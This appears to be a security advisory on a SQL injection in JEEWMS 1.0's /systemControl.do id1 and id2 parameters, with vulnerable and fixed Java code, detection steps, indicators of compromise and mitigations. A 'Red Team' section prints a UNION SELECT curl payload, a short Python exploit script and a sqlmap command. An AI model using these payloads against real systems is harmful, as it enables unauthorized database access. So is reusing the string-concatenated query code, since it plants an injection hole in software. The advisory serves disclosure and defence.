CVE-2025-70311

Executive Summary

CVE-2025-70311 is a critical SQL Injection vulnerability discovered in JEEWMS 1.0, an open-source warehouse management system. The flaw resides in the /systemControl.do interface, specifically within the id1 and id2 parameters. An unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential full database compromise. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details.

Supply Chain & Package Security

This vulnerability affects a Java-based web application (JEEWMS). While not a package manager ecosystem (NPM, PyPI, etc.), the risk extends to any organization using JEEWMS 1.0 in their supply chain. Attackers can exploit this to pivot into internal networks, exfiltrate sensitive data, or deploy backdoors.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability exists in the systemControl.do servlet. The application fails to sanitize user-supplied input in the id1 and id2 parameters before constructing SQL queries. An attacker can inject SQL metacharacters (e.g., single quotes, UNION statements) to manipulate the query logic.

Example vulnerable code snippet (conceptual):

String query = "SELECT * FROM users WHERE id1 = '" + request.getParameter("id1") + "' AND id2 = '" + request.getParameter("id2") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

This allows an attacker to break out of the string context and execute arbitrary SQL commands.

Vulnerable vs. Patched Code

Vulnerable Code (JEEWMS 1.0):

// No input validation or parameterized queries
String id1 = request.getParameter("id1");
String id2 = request.getParameter("id2");
String sql = "SELECT * FROM data WHERE id1 = '" + id1 + "' AND id2 = '" + id2 + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Hypothetical fix):

// Use parameterized queries to prevent SQL injection
String sql = "SELECT * FROM data WHERE id1 = ? AND id2 = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, request.getParameter("id1"));
pstmt.setString(2, request.getParameter("id2"));
ResultSet rs = pstmt.executeQuery();

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit:

# Exploit using curl to extract database version
curl -X GET "http://target.com/systemControl.do?id1=1' UNION SELECT @@version,2,3--&id2=1"

Automated Exploit Script (Python):

import requests

target = "http://target.com/systemControl.do"
payload = "1' UNION SELECT @@version,2,3--"
params = {"id1": payload, "id2": "1"}
response = requests.get(target, params=params)
print(response.text)

Lab Setup:

1. Deploy JEEWMS 1.0 on a local VM (e.g., using Docker or manual installation).
2. Ensure the /systemControl.do endpoint is accessible.
3. Use the PoC above to verify SQL injection.
4. For advanced exploitation, use sqlmap:

   sqlmap -u "http://target.com/systemControl.do?id1=1&id2=1" --batch --dbs

Detection Steps:

1. Monitor web server logs for suspicious patterns in id1 and id2 parameters (e.g., single quotes, UNION, SELECT).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation and parameterized queries in the application code.

Honeypot Setup:

• Create a fake endpoint mimicking /systemControl.do to trap attackers.
• Log all requests for forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /systemControl.do with id1 or id2 parameters containing SQL keywords (e.g., UNION, SELECT, ').
  • Outbound database connections from the web server to unknown IPs.
• File IOCs:
  • Unexpected files in the web root (e.g., shells, backdoors).
  • Modified database entries (e.g., admin user creation).
• Log IOCs:
  • Web server logs showing SQL error messages (e.g., "You have an error in your SQL syntax").
  • Database logs showing unusual queries.

   • Disable the /systemControl.do endpoint if not required.
   • Apply a WAF rule to block SQL injection patterns.
   • Restrict network access to the application.

2. Long-term Fix:

   • Upgrade to a patched version of JEEWMS (if available).
   • Implement parameterized queries (PreparedStatements) in all database interactions.
   • Conduct a full code audit for similar vulnerabilities.

3. Monitoring:

   • Enable detailed logging for all web requests.
   • Set up alerts for SQL injection patterns.

4. User Education:

   • Train developers on secure coding practices (OWASP Top 10).
